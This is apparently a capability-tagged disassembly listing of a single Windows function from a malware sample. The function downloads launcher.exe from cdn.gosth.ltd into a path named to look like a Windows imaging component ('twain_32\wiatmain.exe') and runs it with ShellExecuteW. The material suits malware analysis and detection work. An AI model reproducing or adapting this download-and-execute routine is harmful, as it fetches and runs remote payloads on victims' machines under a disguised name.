Function at 0x18000d940
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x1801f7e40]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
mov r8d, recv
lea rdx, str.wiatmain.exe
lea rcx, [rbp - 0x11]
call fcn.180015e10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x21], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.C:Windows_twain_32_
lea rcx, [rbp - 0x31]
call fcn.180015e10
nop
mov r8d, 1
lea rdx, [0x1801d47f4]
lea rcx, [rbp - 0x31]
call fcn.180013c00
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp - 0x11]
lea r8, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.180016b70
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x18000da38
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000da32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000da32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 7
jbe 0x18000da7b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000da76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000da76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
movdqa xmm0, xmmword [0x1801db330]
movdqu xmmword [rbp - 0x21], xmm0
mov word [rbp - 0x31], bx
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x18000dacf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000daca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000daca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
lea r8, [rbp + 0x2f]
cmp qword [rbp + 0x47], 7
cmova r8, qword [rbp + 0x2f]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x18000db2a
lea r8, [rbp + 0x2f]
cmp qword [rbp + 0x47], 7
cmova r8, qword [rbp + 0x2f]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x18000db2f
mov ebx, 1
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x18000db72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000db6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000db6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.18013fb90
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rbp
ret